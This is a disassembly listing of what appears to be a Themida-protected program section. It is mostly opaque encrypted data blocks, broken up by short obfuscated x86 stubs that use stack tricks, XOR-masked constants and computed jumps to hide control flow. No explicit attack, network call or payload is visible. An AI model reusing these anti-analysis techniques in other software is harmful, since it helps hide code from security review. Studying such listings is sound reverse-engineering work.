dd 0BB04AAF4h, 7692D262h, 7E7AC13h, 0AA42E841h, 0AAE0BE55h
dd 0F88816FDh, 0AC399CB8h, 0E6707E7h, 0CDBCD568h, 6EC30393h
dd 4871FCA2h, 0D9342EA2h, 39920FE1h, 66A4D17Bh, 0A03F7A96h
dd 7D5h, 74AAF422h, 1D534BC7h, 0C3F9A570h, 6FA5F916h, 194F4FC2h
dd 0CA4730E5h, 23F19ED4h, 7898457Bh, 0D043F026h, 71C998CEh
dd 0E7B9F255h, 3BA2007h, 0A2326CA7h, 82E34662h, 0B811FFE6h
dd 0F91A7F12h, 0CDFE1AA5h, 0BAE42F13h, 8F7CB484h, 39633874h
dd 3D7FE93Ch, 0AEB91C5h, 189h, 0F0AE65BAh, 8A140065h, 0A7C47B21h
dd 42A7326Ch, 1B8391D1h, 6E1B7CB2h, 0AC4662F2h, 0DA07E0ADh
dd 920C055Ah, 0F72DE07h, 3507E0ADh, 0B9E373DCh, 0E4B77274h
dd 0FF9238C4h, 0F0536FAFh, 1607E0BDh, 3CA317BDh, 4607E0BEh
dd 51AD84AEh, 40A4ECF0h, 9E3194B0h, 65F07E0h, 1E25DF60h
dd 406EA5E6h, 2784h, 96F31500h, 501E3ACAh, 4E07E09Ch, 0D73E6AF5h
dd 0E107E09Bh, 679FA660h, 5406EA7h, 0DCh, 0EFAF60B5h, 0DE953B64h
dd 0A7326CA7h, 3FCFCF42h, 8380E3FFh, 4DA6FFE6h, 64AF14A7h
dd 0C94AAF3Ah, 0DE2B9FD5h, 0B9FFE6FDh, 0AD026A8Fh, 0CC464AF2h
dd 4977AA34h, 4AF79D30h, 64FDC4C9h, 78BB2440h, 1178D90Fh
dd 0A86ABF4Fh, 9C426BF6h, 9412E804h, 0E74007E3h, 0BBD71757h
dd 7E37158h, 0D27F257Eh, 0A5CF5F3Fh, 2C18AFD5h, 34DB80FCh
dd 0D986C46Ah, 125538h, 0FAC6A655h, 9C67D391h, 8DC89E61h
dd 670EEh, 0F8F8700h, 0B8E62CD9h, 5E40D582h, 0A947B28h
dd 0B4EA27D4h, 0AE954A7Eh, 58053B63h, 0FFACE2BCh, 0AA578D11h
dd 30FF3569h, 0BB59BCD8h, 218707E7h, 0D6AA76Ah, 0E6838EF1h
dd 0F25BB4FFh, 44CD2262h, 3AA6CF5Ah, 0FFE683D7h, 0C0FEA4FDh
dd 623CD328h, 5B08AED7h, 0F9B0E6B8h, 1D216CA7h, 0C4060E6h
dd 4EE516Dh, 0BB14FFE7h, 0F95EE952h, 9FF4841Ah, 77A02B73h
dd 0D35E40D2h, 0DFC604AAh, 2Ch, 326CA778h, 0CDD142A7h
dd 6B33DD42h, 6987BE0h, 4600297Bh, 75B5059Eh, 0E682F659h
dd 1DC31CFFh, 15FEE29Ch, 246C5389h, 5000000h, 0A7326CA7h
dd 0E683157Bh, 0D38D0EFFh, 6884C404h, 0FFE68305h, 366D22Bh
dd 31FFE683h, 8E8532D8h, 0A723DA10h, 8EA7326Ch, 78A454FBh
dd 7252B5D1h, 2780FFE7h, 0E46F6ADh, 0E30C9707h, 623CD57Ah
dd 0B545AED7h, 0E86A0B99h, 0EC084807h, 7E81789h, 16E94C68h
dd 0BE1707E8h, 927F247Dh, 0B258810Ch, 233FD469h, 0FD26B1EDh
dd 77E00994h, 1D8192E7h, 0C5D93AE7h, 76D9F535h, 9C07E817h
dd 179D001Ch, 6AC307E8h, 2E848701h, 65AD11C7h, 76132CBFh
dd 0C51A5AEAh, 9EC7524Ch, 0CF4B84F8h, 20790FE8h, 0C6D83B90h
dd 0E0338820h, 38DB88BEh, 0C7C2DB66h, 8BED0999h, 6807E0B6h
dd 0F99E0013h, 95DE841Ah, 82E87E3Ch, 2E699E67h, 4F88Fh
dd 8717FF00h, 306EA451h, 0D6C84DFAh, 821CF3A0h, 2C729F4Ch
dd 260DC2F6h, 0D07DB3EBh, 77245A44h, 22CF0599h, 0A877ADF1h
dd 0BDD13450h, 99FF07E7h, 326CA7E2h, 0E34662A2h, 11FFE682h
dd 27D412B8h, 0C227B2ECh, 0A6C24D51h, 3CD7BB75h, 245C2C62h
dd 0C238748Fh
dd 57h, 1392BC53h, 963356FAh, 6E30E287h, 3E2267C8h, 0DE9192AEh
dd 0DA3307E0h, 8CE00A4Ah, 5379CFE8h, 967A27CDh, 0F95ED208h
dd 0BF07E14Bh, 7C144A54h, 94A55152h, 31D72083h, 87128C84h
dd 702EE237h, 2F16BCE5h, 459h, 6EF0BDE7h, 9E108633h, 759E2975h
dd 0BCAF660Ch, 0AECAAD67h, 0FFE6834Bh, 11B72079h, 60B3AF64h
dd 0E54AD53Eh, 0D93A702Eh, 420B0B0h, 7E0AE6Ah, 0FEA074C9h
dd 26B60F58h, 0C22A7FFCh, 731927C5h, 866690E0h, 385DC917h
dd 30970BB1h, 3A07E131h, 0C0F8FFB9h, 5E406F39h, 5Ah, 0B996F3EFh
dd 0DE45E602h, 8CEF0B4Bh, 0BAFFE745h, 0FF8FF861h, 0E15E15E3h
dd 987C1107h, 0E9527B06h, 57B90E5Eh, 0C62DA147h, 0D007E15Dh
dd 0B1370E38h, 0E435907Ah, 0D29A8F6Ah, 17BDE569h, 9DD5DC96h
dd 84406EEAh, 0D2C52844h, 92EB07E0h, 0C4B18118h, 0D076C022h
dd 0E2EFh, 7CBC8000h, 0E682FD60h, 24CA23FFh, 4BC69C77h
dd 0F9FC853h, 0E68390F3h, 0F45DB6FFh, 910D0469h, 2C72A106h
dd 15FC51A1h, 82E34662h, 0B811FFE6h, 0F59BC44Fh, 9DD3CB48h
dd 3E60B005h, 2EE58AB3h, 0D956CA70h, 0B4FFE687h, 5EE9B55Fh
dd 31E28F35h, 898A376Dh, 0FA3A8A15h, 0E6877BDEh, 0AA50A9FFh
dd 90204049h, 8618FB50h, 9C866CE0h, 5BB407E0h, 49A76CBh
dd 6CAA5079h, 6BA67E0Bh, 17801EF7h, 96FF9F72h, 770EEA06h
dd 0DF380FDDh, 0B3CF0F4Fh, 0FFED7650h, 0CA771D76h, 74215747h
dd 3B43019Dh, 24999B52h, 2FB4AE9h, 1AFC0000h, 71A14E84h
dd 0CB4AF72Dh, 1FF09DD3h, 759C497Fh, 0ABFF329h, 78AEF021h
dd 1F5549CBh, 0CA009E72h, 72A8F61Dh, 0CC2F4BA3h, 0FA07E7BFh
dd 6AA7DD94h, 0C251FE34h, 0BCEFA6DCh, 7E7A3B92h, 12B8B864h
dd 2161D8B1h, 0E6B1A205h, 0B77D0FFh, 0FFE6B1A8h, 0C9E575CEh
dd 0FFE6B166h, 3ACA338Ch, 0E0CA501Eh, 65F54E07h, 5A44D025h
dd 0D73AA6CFh, 0C407E0B9h, 53FBEBB8h, 0D166A7B7h, 0A9D25D41h
dd 0B7079A40h, 49EFAF62h, 0E0B06ED5h, 3DF77807h, 2A042E6Eh
dd 2AD26D89h, 2457BA26h, 0FD7D07E1h, 0E1247EE1h, 0E24BA407h
dd 23C9D53Dh, 6F301B53h, 0B2B940h, 14690000h, 46FDA3FBh
dd 0A7326CA7h, 44CFCF42h, 0E6889B18h, 702EE5FFh, 0C84DA23Ah
dd 908330D6h, 1F6A830Eh, 48F0F05h, 8DE272DBh, 278C1787h
dd 0A248B1EDh, 9C75CA0Ah, 2E85C02h, 3007E09Dh, 4940A1D7h
dd 0DB449806h, 0B52FFFDBh, 923B55F8h, 0ED7DE60Dh, 0DDE696D1h
dd 0C353AC0Fh, 6DF8A66Eh, 0B1069E44h, 5B083E60h, 282AE8B6h
dd 1999BFAh, 1D327C6h, 0F2240000h, 49C976ACh, 0A3721F55h
dd 0F718C5FBh, 4DC471A7h, 32E71B51h, 0A0D6C849h, 477D21F3h
dd 0F228769Ah, 9AD0CE45h, 0F45773CBh, 2207E7BFh, 6AA705BCh
dd 0F8831BF8h, 833066CFh, 21D80E90h, 0A7326CA7h, 97CDD142h
dd 0EA7529EAh, 18A8B8D1h, 108E83D8h, 99DCF66Ah, 0B10A07E0h
dd 4F4FC126h, 0E8B65FC4h, 5610415Dh, 0F9B3DCAEh, 10A0FE15h
dd 22B0DFE6h, 0A1479DF3h, 0D9870263h, 0AD372D49h, 4AA30FDAh
dd 0E5B95ABFh, 71B1015Ah, 0E683F255h, 84A020FFh, 0FFE68421h
dd 0E78DF64Fh, 88DDAC66h, 70D3EF88h, 96FFE684h, 2049D43Dh
dd 0F070197Ah, 0A1042060h, 0CFFFE684h, 1C38D076h, 7E09A26h
dd 76CB5BB4h, 758A049Ah, 48A7B864h, 6A1755FBh, 56AF5A9h
dd 0E3BB570Bh, 345DEF7Ah, 217D967Ah, 50FF8AEBh, 5D44E901h
dd 0B848B151h, 62EDB163h, 0DFFB9339h, 0FDB60C5h, 0D3365292h
dd 9DFFE754h, 91EA2B73h, 0B949A2EBh, 53FA5D79h, 0CF28FFE7h
dd 0E2319629h, 54167995h, 0E33CFFE7h, 345DEF7Ah, 0BA56AB7Ah
dd 0AA6C7D3h, 4BB49E60h, 0F15470C0h, 1FFFE696h, 56B75DC6h
dd 819D2D33h, 7E0AD67h, 613DD72Ch, 0FDA171D6h, 3AE04972h
dd 16298F1h, 2C48D888h, 0FE1AEEFh, 84E974CDh, 2CD90F8Fh
dd 8967BE7h, 60EB547Dh, 4856BB10h, 7AEE94BDh, 3B567983h
dd 2206C0F9h, 0DD1DADF1h, 76635EC1h, 852B8424h, 25799A47h
dd 88DA359Ah, 6539D78Bh, 0BD48B1DAh, 7B23EF94h, 0D35EC7F0h
dd 65AC0141h, 58129339h, 0CA2D4989h, 0F8247663h, 88F1AD63h
dd 0C0DE35E2h, 2C36DD8Ah, 12AB5E9h, 62F25571h, 0C7202476h
dd 2E83D35Eh, 42DB8E6h, 3775Eh, 0BB100000h, 2F6FA75Ch
dd 0CAD43FA4h, 6836DA3Fh, 29C78DDh, 9FFF1277h, 3C62AF14h
dd 0DBC34CB1h, 742AEB50h, 108E84E9h, 0AF685285h, 89000029h
dd 0EC682404h, 89000026h, 0ED682404h, 8900001Dh, 0BE56241Ch
dd 74C71EF9h, 6DDBBD55h, 0CD810271h, 5EA22D85h, 5576C581h
dd 0DDF746DFh, 3B8EED81h, 0F5815D61h, 800448BEh, 295DE889h
dd 8B545EF0h, 0C481241Ch, 4, 0BDB85050h, 3151EA10h, 58042444h
dd 8108438Fh, 10BD0873h, 1C8B51EAh
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_58B334
; ---------------------------------------------------------------------------
db 3Fh
dd 7C757787h, 87CBC199h
db 73h, 2Fh, 2Dh
; ---------------------------------------------------------------------------
loc_5F744B: ; CODE XREF: Themida_:005F5E3Cj
mov eax, 8013F75h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 7625ACF0h, 5CE33138h, 6E2B48A9h, 6696C753h, 5A3C8FDDh
dd 3B2F2898h, 3F2B3332h, 61FA38B7h, 7595E01Eh, 1872FF2Ch
dd 640467Bh, 3E76EB21h, 20272BD7h, 5DCBA6F8h, 6E715273h
dd 34E41CAEh, 51884BC8h, 737C6EFFh, 2B2ACE18h, 3AE933B2h
dd 39B6A65h, 2EA31B53h, 70990B59h, 0C7AB115h, 0A51149h
dd 72901D69h, 1EE78D59h, 6C72F753h, 55031F4Dh, 164CC1C1h
dd 15FE9h
db 0
; =============== S U B R O U T I N E =======================================
sub_5F74D1 proc near ; CODE XREF: sub_4068E0+12Cp
; sub_409CA0+1Dp ...
push edx
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 8014099h
mov eax, [edx+8]
cmp eax, 78263845h
jnz loc_5F7627
mov eax, [edx+0Ch]
mov ecx, [edx+18h]
ror eax, cl
mov ebx, 4E7D5238h
xor eax, ebx
sub eax, 4
mov [ebp+7FA1CD9h], eax
mov ebx, [eax+4]
mov edi, eax
mov eax, [edx+10h]
mov ecx, [edx+18h]
ror eax, cl
mov esi, 0D7546EFDh
xor eax, esi
sub eax, edi
and eax, 0FFFFFFFCh
sub eax, 4
mov [ebp+7FA31ADh], eax
mov eax, [edx+14h]
mov [ebp+7FA2BD9h], eax
mov eax, [edx+18h]
push ebx
jmp loc_5F75EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA16F1h]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA2F59h]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA16B1h]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA3391h]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA167Dh]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA0D31h]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA2515h]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA2EA9h]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA112Dh]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA2D6Dh]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA2149h]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA28EDh]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA243Dh]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA1E99h]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA0E71h]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA0EEDh]
jmp loc_5F75FF
; ---------------------------------------------------------------------------
loc_5F75EB: ; CODE XREF: sub_5F74D1+65j
mov ebx, eax
mov eax, 0Bh
mul bx
lea ecx, [ebp+80140FAh]
add ecx, eax
jmp ecx
; ---------------------------------------------------------------------------
loc_5F75FF: ; CODE XREF: sub_5F74D1+70j
; sub_5F74D1+7Bj ...
call dword ptr [ebp+7FA1799h]
pop ebx
loc_5F7606: ; CODE XREF: sub_5F74D1+14Ej
mov eax, [ebp+7FA1CD9h]
cmp [eax+4], ebx
jnz loc_5F7624
push ebx
push 1
call dword ptr [ebp+7FA1019h]
pop ebx
jmp loc_5F7606
; ---------------------------------------------------------------------------
loc_5F7624: ; CODE XREF: sub_5F74D1+13Ej
popa
pop edx
retn
; ---------------------------------------------------------------------------
loc_5F7627: ; CODE XREF: sub_5F74D1+18j
popa
pop edx
mov eax, 7E41A8ADh
jmp eax
sub_5F74D1 endp
; ---------------------------------------------------------------------------
mov eax, [ebp+7FA0DC5h]
lea ecx, [ebp+80141E8h]
mov [ecx+1], eax
mov eax, ebx
lea ecx, [ebp+8014302h]
push 0
push ecx
call sub_5F7652
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F7652 proc near ; CODE XREF: Themida_:005F764Ap
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5F7652 endp
; ---------------------------------------------------------------------------
dw 3FE1h
; ---------------------------------------------------------------------------
xor eax, 0DFBA79BEh
jnp short loc_5F76D1
mov esi, edx
cld
mov [ebp+7FA1CD9h], ecx
push 0
push ecx
call sub_5F767F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F767F proc near ; CODE XREF: Themida_:005F7677p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5F767F endp
; ---------------------------------------------------------------------------
db 2Fh
dd 0AC99D89h, 9D8907FAh, 7FA329Dh, 31AD85C7h, 61E407FAh
dd 890F0000h, 14h, 8E8h, 70B66C00h, 16A764D5h, 890FCFh
dd 5F000000h, 286DB529h, 85C707FAh, 7FA2BD9h, 0
db 6Ah
; ---------------------------------------------------------------------------
loc_5F76D1: ; CODE XREF: Themida_:005F7669j
add [ebp-18h], dl
add eax, [eax]
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
and [ebp-3Dh], bl
pop ebp
mov [esp+4], ebp
add dword ptr [esp+4], 14h
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
db 0B1h
; ---------------------------------------------------------------------------
jmp loc_5F76FB
; ---------------------------------------------------------------------------
db 0EDh, 0A0h, 0F7h
dd 0BAE98665h
; ---------------------------------------------------------------------------
or [edi], ecx
pop ds
loc_5F76FB: ; CODE XREF: Themida_:005F76ECj
push dword ptr [ebp+7FA2EA9h]
push 0
push esi
call sub_5F770C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F770C proc near ; CODE XREF: Themida_:005F7704p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5F770C endp
; ---------------------------------------------------------------------------
dd 18F77DAFh, 0E98CE43Ah, 8, 0AA63F6E8h, 9700DB42h, 179995FFh
dd 853107FAh, 7FA0539h, 95FF006Ah, 7FA1019h, 6EEBC08Bh
dd 28F235F4h, 0ABBBB775h, 69B57315h, 0F3B6417Dh, 8F934CE2h
dd 0A557D236h, 0A6F2134Fh, 0CE97F6F4h, 3EC430D0h, 35F8F9CEh
dd 8096109Eh, 55D81E0Bh, 351CF66Bh, 11E8C4AAh, 0ED2268C8h
dd 253A3B77h, 0C7553C42h, 0AB34E372h, 11A0B9Ch, 0CCAD510Ch
dd 8FB03FF6h, 0F1A3AC0Dh, 7E5B7F58h, 5D6F5473h, 2AC9250Bh
dd 6BC9C491h, 840491EAh, 85C6CFFBh, 7FA0665h, 30DF6856h
dd 0B5FFA9C5h, 7FA2095h, 0A3DD858Dh, 0D0FF07FDh, 30DD8D8Dh
dd 6A5107FAh, 0A1B5FF40h, 0FF07FA27h, 0FA22B5B5h, 0FFD0FF07h
dd 0FA27A1B5h, 0B5B5FF07h, 0E807FA22h, 11h, 940F560h, 324FDE75h
dd 0D0E92C54h, 42497C45h, 835858F8h, 2CC104E8h, 24C10224h
dd 4030224h, 241CF724h, 68h, 34FF5900h, 0EE815E01h, 65F083E6h
dd 466DEE81h, 0F6811E17h, 5FC3A2C2h, 83083489h, 3B4903E9h
dd 850F240Ch, 14h, 27E9h, 4BB99A00h, 1DA68D4Eh, 0F8B7BCC3h
dd 91ECE253h, 0FFFFC1E9h, 4080A5FFh, 14E998EAh, 561A6EFAh
dd 0F5E74A63h, 367CDC3Dh, 27199D8Dh, 38B07FAh, 840FC00Bh
dd 7, 5B8B038Bh, 8B188904h, 9E8C9h, 87E20000h, 910CC1A0h
dd 608103B6h, 8B665B50h, 815F61D0h, 64CEC7h, 0BDB9F500h
dd 8131ED97h, 0ED8F42F1h, 10E931h, 7E3B0000h, 5D2C2853h
dd 0E6FB3DFAh, 48D140Ah, 178B25F0h, 79DE8166h, 7EA8158h
dd 0F163C0Eh, 1489h, 0FE900h, 577B0000h, 7898F354h, 9539518h
dd 1A097F96h, 50F28137h, 0B705E9BEh, 0C28110h, 0E9034129h
dd 14h, 5923E2E8h, 0FD1F6DC5h, 0F7543B39h, 83A079E9h, 0B5D14238h
dd 840F6052h, 2, 0D98A6160h, 83078F61h, 8B6601EFh, 4F4F4FC7h
dd 0BE9h, 0BCDC200h, 0B4234F35h, 7DFCF83Ah, 1E981h, 850F0000h
dd 0FFFFFF7Eh, 0DE8F860h, 22000000h, 3FF8133Dh, 5818C582h
dd 5D35E14Ch, 830Fh, 615A0000h, 9E8h, 7B5E6700h, 0A0EF4A5Bh
dd 58FCED99h, 0C081F18Bh, 5D5Ch, 0CE9h, 0CF386600h, 3186FD1Ah
dd 89CE0EB3h, 173ABB15h, 81660000h, 8B8B93CEh, 8152B510h
dd 0ADA571C2h, 74F28128h, 8149F598h, 257D68F2h, 8D0F4Ch
dd 89000000h, 0CE810h, 77920000h, 0D852DF16h, 74119C59h
dd 0FE8B75C8h, 4E8835Fh, 2958BEh, 1EB810Eh, 0F000000h
dd 0FFFFBA85h, 0CFBE66FFh, 0BE8ACh, 10530000h, 779A70F5h
dd 8F0D988Eh, 0BE980h, 0C340000h, 0E8080B9Ah, 7DAE8E35h
dd 0E5B05B20h, 5E92C381h, 0AE90000h, 24000000h, 9B14984Fh
dd 431F11Ah, 177CBE24h, 38B40000h, 0BF0F33FFh, 0FE95FC9h
dd 1C000000h, 3519BAD9h, 0F65E2885h, 201DC5C9h, 0F7813F75h
dd 2DE308F1h, 71C9BA66h, 137FC781h, 816606ECh, 81107BD0h
dd 766C3AF7h, 59FC536Eh, 38FF957h, 0EB817EB1h, 1C89E846h
dd 0BE9h, 0FEA92D00h, 8E298C87h, 9D9F761Ah, 0E842C381h
dd 0BA661C89h, 0EE81DE18h, 1, 0FF96850Fh, 0CA8BFFFFh, 2DE9h
dd 70F4F000h, 55h, 9 dup(0)
dd 0BFE90000h, 68000004h, 80147BFh, 0F93863E9h, 481C68FFh
dd 59E90801h, 68FFF938h, 801493Dh, 0F9384FE9h, 0D3CB4BFFh
dd 7C22F09Dh, 227C9946h, 0CED03FECh, 7826EB98h, 72590E42h
dd 1CC9FF9Fh, 0C370A6F8h, 6E1B514Dh, 0F4C3F9A5h, 0C91D809Ch
dd 0DD4307E7h, 86E90545h, 0AC07E7C9h, 0A7F6AD53h, 0D9EB236Ah
dd 0E3EF8F2Eh, 898AEF7Ah, 0E0308515h, 0C7E333BEh, 0FFE6E964h
dd 2AD03992h, 10FF54ECh, 287E88Eh, 10B2CE5Eh, 0B607E106h
dd 3FA6D25Dh, 4907E0FDh, 0F25571B1h, 2007E0FCh, 0E6A021C7h
dd 6F09A7DFh, 30E4540h, 0A0F50000h, 0CD842A74h, 0CEBB657Bh
dd 64AD0292h, 208915FEh, 0C4C6E27Ah, 0A307E089h, 35DBC34Eh
dd 0F25693ECh, 545F004h, 11A1BFCAh, 127591D1h, 40FA85E3h
dd 29B9E6D6h, 82EB9297h, 94A668DCh, 338C027Fh, 0E44763A3h
dd 0C3FD4B83h, 4B8444A7h, 0D81972FDh, 2D46D97Fh, 5874045Ch
dd 545BED3h, 136F88B2h, 2874D4B2h, 50E03982h, 508618FBh
dd 0B4AE63B8h, 4BD63F5Fh, 6E7CDFFBh, 51AAFA86h, 7E9542E8h
dd 1359D00Fh, 44ADBC59h, 2B79686h, 9D3C7763h, 2F0h, 0B8EEB066h
dd 6197070Bh, 73D61B4h, 0B3E9B55Ah, 5D930B06h, 868B7429h
dd 0DF35E218h, 34DC89BFh, 8C87346Ah, 0B50DDC12h, 0E7CA3699h
dd 3FF65C07h, 3ACA96F3h, 0CA702EE5h, 0CA071632h, 3C9507E7h
dd 0E4BA57ACh, 8E1001AEh, 0C96FD703h, 1307E7h, 3C42E09Eh
dd 8CC76E63h, 293EDh, 4B53C300h, 0F4AA6815h, 9A0411BEh
dd 4658B764h, 0F0AE6310h, 0EAD186BAh, 94417727h, 3BE81E80h
dd 0E693C9D5h, 6C3B712Dh, 0CB95F814h, 55BB07E7h, 0CA96F39Eh
dd 6BA5FA3Ah, 0A198D33h, 9807E7CAh, 2188B43Fh, 2B07E7C9h
dd 0B1E9F0AAh, 984075D1h, 42CDD143h, 0C1927319h, 23000001h
dd 0A2326CA7h, 758B3278h, 993F72EBh, 2C72A106h, 8095EF6h
dd 6BF0536Fh, 0BD16FFE7h, 3C4DAE54h, 0DE789424h, 407E196h
dd 8DF420ABh, 9707E146h, 4D8D5C16h, 0E146CE31h, 0F59BF407h
dd 6F4DED25h, 208B40h, 0F31C0000h, 1E3ACA96h, 7E09C50h
dd 3E6AF54Eh, 7E09BD7h, 9FA660E1h, 406EA767h, 0BA05h, 6CA79600h
dd 0CF42A732h, 9FF444CFh, 7E20EF73h, 0BB61CAF3h, 0E99050Eh
dd 0F8A669BEh, 0F19E446Dh, 0D2467C22h, 0FFE68849h, 4C821CF7h
dd 469B9EEBh, 568D4CAh, 2BFFE687h, 84D969D2h, 5C85108Eh
dd 2C021EB6h, 3A07E367h, 0A5306EA5h, 2E83137Ch, 0D885BBE3h
dd 0A3A76539h, 849E615Eh, 172AA49h, 32E40000h, 8989366Ch
dd 0E332DF15h, 37D885BBh, 8D843167h, 0F2A7DB11h, 60960809h
dd 73D61B3h, 0B2E8B65Ah, 5A900E05h, 0B417338Bh, 0E207E7CCh
dd 6AA7C57Ch, 1D8618F8h, 0C2DC388Dh, 2A680E37h, 0D3365292h
dd 1FFE683h, 6BF6A86Ch, 905FD942h, 0A390D332h, 82913EE4h
dd 0A72FE61Ch, 7F1FF66Ch, 2588A4F4h, 4BFFE683h, 952089F2h
dd 86E90545h, 5DFFE683h, 0E683DE41h, 6AAB04FFh, 2658111h
dd 30FFE683h, 8F8431D7h, 1178D90Fh, 0A96ABF4Fh, 9B416AF5h
dd 0D2E6E703h, 77D007E0h, 0E37F92E7h, 0BEE7722Ch, 3BA4FA19h
dd 0D22A9105h, 1FF407E0h, 0D2D93C58h, 6EA307E0h, 696EF30h
dd 0E0D287EAh, 0EB54AD07h, 9DDD1DB5h, 0E0D21E81h, 7FEB4407h
dd 7E0D21Ch, 9E4BF14Ah, 7D21EF73h, 0F398914h, 0DA9CD659h
dd 811DF2EAh, 0BE64CDF6h, 83D7h, 0D53A8F00h, 0AEF024C9h
dd 9D54FA23h, 3ACA96F3h, 0E7CA0B1Eh, 0F049907h, 66A0237Eh
dd 2B947F40h, 41D237C2h, 3A8F275Dh, 0EE3EC9D5h, 0E8786FD2h
dd 0D33C9507h, 0B93802Dh, 37775480h, 144D655Ah, 0DA9D765Ah
dd 56CD5BBEh, 0C7308955h, 6F2FE491h, 0E907FE4h, 0ADF11E83h
dd 4658BD22h, 0B46E9FBBh, 57113A0Ch, 0C8FEA073h, 1BA6F81Bh
dd 137Ch, 92BC1500h, 0A3585815h, 0B9CCE661h, 0E338A620h
dd 0EE4DE68Ch, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h
dd 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h
dd 21B46852h, 2C890000h, 2FBD6824h, 0C890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push esi
mov esi, 80146A4h
push esi
xor dword ptr [esp], 40C24784h
pop ecx
xor ecx, 40C24784h
pop esi
push esp
mov edx, [esp]
add esp, 4
push ebp
mov ebp, ecx
push ebp
xor dword ptr [esp], 5A8B5AFCh
pop dword ptr [edx+8]
xor dword ptr [edx+8], 5A8B5AFCh
pop ebp
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_58B334
; ---------------------------------------------------------------------------
dd 0D4B8FF9Ch, 308014Ah, 0ECE0FFC5h, 813F4223h, 38520DFCh
dd 0A00B1E24h, 48370141h, 9E093B51h, 8D4A648Fh, 0F61AD9DEh
dd 3E321E36h, 80EB265h, 2515CA3Bh, 0E93B6174h, 9, 69B032E3h
dd 0
dd 645E900h, 0E2340000h, 39D986BCh, 93822F65h, 0E728D50Bh
dd 3DD481B7h, 42F72B61h, 0B0E6B859h, 578D1103h, 23866AAh
dd 0AAE0BE55h, 46783DBh, 3207E7CEh, 0A70A34CCh, 2590EA4Dh
dd 0A7873EE4h, 57A7326Ch, 0EA900E02h, 94CAD43Dh, 0E2722CE7h
dd 832386A2h, 2318FFE6h, 69B669Dh, 0AF55AEEFh, 425CB71Ch
dd 0DEC052B7h, 7C1FA53h, 78AEF023h, 0C95945CBh, 73039B74h
dd 0E6FFF457h, 23C922FFh, 8AD838E5h, 6836DA88h, 0E24B74FFh
dd 7C22F257h, 506CACECh, 0FFE6FFEDh, 0EB4EBA13h, 19FFE6FFh
dd 0F5871AC0h, 0E22E12CCh, 3AD986BCh, 3489D964h, 0A61AC0DEh
dd 0FFE70040h, 3F460071h, 38750C07h, 62A5h, 6CA73600h
dd 167BA732h, 0DCFFE683h, 0A3DD6836h, 0F5B98C76h, 6DA44962h
dd 598AA631h, 48B9F79Fh, 684F878Eh, 1ED3875h, 7E000000h
dd 1D226BA7h, 372E60A5h, 298E1982h, 0C52AB5E9h, 0A6F8184Ah
dd 0BB58AD3Dh, 51AA3DE3h, 658F5E18h, 6638E1F5h, 6714BA89h
dd 0E63F3ABh, 0E8119C02h, 0BC570442h, 0A7F5ACE2h, 4FA4346Ah
dd 2A749DC5h, 820D769Fh, 0BB20B359h, 0A0BC4757h, 40D1B56Fh
dd 83B81B37h, 85DEFFE6h, 0E46F2FE0h, 98C252BBh, 0E7D0768Dh
dd 57953BB6h, 0AA3569AAh, 8BA7D045h, 0FFE6B028h, 18CF54Eh
dd 9AA15BDCh, 3874B652h, 6A100F39h, 0E4BB9053h, 0B5D53854h
dd 0A2FBFFE6h, 4E1BFCh, 0A7AC0000h, 44A9346Ah, 0DD42CDD1h
dd 0B5F45B32h, 0D4548037h, 977BE06Bh, 0F7387C07h, 0C3FC953Dh
dd 0B2EC2509h, 5C42CF7Ch, 0FBA36CD1h, 10CA4B70h, 7553C109h
dd 435F38h, 0BA0F0000h, 0EAA14757h, 0A9346AA7h, 47D2CC44h
dd 2408C203h, 0C47BB1EDh, 0A3336BA7h, 50DBC34Eh, 0D918227h
dd 20B35982h, 0E6838EF4h, 944EBFFFh, 748F558Dh, 2EE73C38h
dd 8F80E570h, 1F00A60Fh, 1, 0A867BCB0h, 0B9445ABAh, 739C2790h
dd 0CE5945CEh, 0C352FFA5h, 28EB50DBh, 85A1D63Ah, 0FFE68322h
